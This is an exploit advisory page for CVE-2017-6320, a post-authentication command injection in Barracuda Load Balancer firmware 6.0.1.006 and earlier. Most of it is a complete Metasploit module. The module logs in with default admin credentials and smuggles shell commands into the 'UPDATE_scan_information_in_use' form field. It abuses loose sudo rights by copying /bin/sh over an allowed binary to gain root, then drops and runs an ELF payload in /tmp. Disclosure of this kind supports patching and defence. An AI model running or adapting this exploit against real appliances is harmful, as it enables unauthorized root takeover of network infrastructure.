Barracuda Load Balancer Firmware <= 6.0.1.006 - Remote Command Injection

Published
Credit
Risk
2017.07.18
xort
High
CWE
CVE
Local
Remote
CWE-78
CVE-2017-6320
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
9/10
10/10
8/10
Exploit range
Attack complexity
Authentication
Remote
Low
Single time
Confidentiality impact
Integrity impact
Availability impact
Complete
Complete
Complete

# Exploit Title: Barracuda Load Balancer Firmware <= v6.0.1.006 (2016-08-19) PostAuth remote root exploit
#
# Date: 01/06/2017 (Originally discovered: 3/16)
# Exploit Author: xort
# Software Link: https://www.barracuda.com/products/loadbalancer
# Version: Firmware <= v6.0.1.006 (2016-08-19)
# Tested on: 6.0.1.006 (2016-08-19)
# 6.0.0.005 (2016-03-22) - checked:4/8/16
# 5.4.0.004 (2015-11-26) - checked:3/16
#
# Not Vuln: 6.1.0.003 (2017-01-17)
# CVE : CVE-2017-6320
#
# vuln: ondefined_delete_assessment trigger exploit
#
# Postauth remote root in Barracuda Load Balancer Firmware <= v6.0.1.006 for any under priviledged user with report generating
# capablities. This exploit leverages a command injection bug along with poor sudo permissions to obtain
# root.
#
# xort @ Critical Start

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Barracuda Load Balancer Firmware <= v6.0.1.006 delete_assessment root exploit',
'Description' => %q{
This module exploits a remote command execution vulnerability in
the Barracuda Load Balancer Firmware Version <= v6.0.1.006 (2016-08-19) by exploiting a
vulnerability in the web administration interface.
By sending a specially crafted request it's possible to inject system
commands while escalating to root do to relaxed sudo configuration on the local
machine.
},
'Author' =>
[
'xort', # vuln + metasploit module
],
'Version' => '$Revision: 2 $',
'References' =>
[
[ 'none', 'none'],
],
'Platform' => [ 'linux'],
'Privileged' => true,
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell' ],
'Privileged' => false,

'Payload' =>
{
'Compat' =>
{
'ConnectionType' => 'find',
}
},

'Targets' =>
[
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 0))

register_options(
[
OptString.new('PASSWORD', [ false, 'Device password', "" ]),
OptString.new('ET', [ false, 'Device password', "" ]),
OptString.new('USERNAME', [ true, 'Device password', "admin" ]),
OptString.new('CMD', [ false, 'Command to execute', "" ]),
Opt::RPORT(8000),
], self.class)
end

def do_login(username, password_clear, et)
vprint_status( "Logging into machine with credentials...\n" )

# vars
timeout = 1550;
enc_key = Rex::Text.rand_text_hex(32)

# send request
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/cgi-mod/index.cgi",
'headers' =>
{
'Accept' => "application/json, text/javascript, */*; q=0.01",
'Content-Type' => "application/x-www-form-urlencoded",
'X-Requested-With' => "XMLHttpRequest"
},
'vars_post' =>
{

'enc_key' => enc_key,
'et' => et,
'user' => "admin", # username,
'password' => "admin", # password_clear,
'enctype' => "none",
'password_entry' => "",
'login_page' => "1",
'login_state' => "out",
'real_user' => "",
'locale' => "en_US",
'form' => "f",
'Submit' => "Sign in",
}
}, timeout)

# get rid of first yank
password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]

return password, et
end

def run_command(username, password, et, cmd)
vprint_status( "Running Command...\n" )

# file to replace
#sudo_cmd_exec = "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
sudo_cmd_exec = "/home/product/code/firmware/current/bin/rdpd"

sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "

# random filename to dump too + 'tmp' HAS to be here.
b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))

vprint_status(" file = " + b64dumpfile)

# decoder stubs - tells 'base64' command to decode and dump data to temp file
b64decode1 = "echo \""
b64decode2 = "\" | base64 -d >" + b64dumpfile

# base64 - encode with base64 so we can send special chars and multiple lines
cmd = Base64.strict_encode64(cmd)

# Create injection string.
# a) package the base64 decoder with encoded bytes
# b) attach a chmod +x request to make the script created (b64dumpfile) executable
# c) execute decoded base64 dumpfile

injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile # + " ; rm " + b64dumpfile

exploitreq = [
[ "auth_type","Local" ],
[ "et",et ],
[ "locale","en_US" ],
[ "password", password ],
[ "primary_tab", "ADVANCE" ],
[ "realm","" ],
[ "secondary_tab","advanced_system" ],
[ "user", username ],
[ "timestamp", Time.now.to_i ],

[ "UPDATE_scan_information_in_use", "xx; #{injection_string}" ], # vuln
[ "delete_assessment", Rex::Text.rand_text_numeric(20) ]
]

boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)

post_data = ""

exploitreq.each do |xreq|
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
post_data << "#{xreq[1]}\r\n"
end
post_data << "--#{boundary}--\r\n"

res = send_request_cgi({
'method' => 'POST',
'uri' => "/cgi-mod/index.cgi",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data,
'headers' =>
{
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
}
})
end

def run_script(username, password, et, cmds)
vprint_status( "running script...\n")


end

def exploit
# timeout
timeout = 1550;

user = "admin"

# params
real_user = "";
login_state = "out"
et = Time.now.to_i
locale = "en_US"
user = "admin"
password = "admin"
enctype = "MD5"
password_entry = ""
password_clear = "admin"

password_hash, et = do_login(user, password_clear, et)
vprint_status("new password: #{password_hash} et: #{et}\n")

sleep(5)


#if no 'CMD' string - add code for root shell
if not datastore['CMD'].nil? and not datastore['CMD'].empty?

cmd = datastore['CMD']

# Encode cmd payload
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

# kill stale calls to bdump from previous exploit calls for re-use
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
else
# Encode payload to ELF file for deployment
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

# kill stale calls to bdump from previous exploit calls for re-use
# run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))

run_command(user, password_hash, et, ("printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
handler
end


end

end


See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2017, cxsecurity.com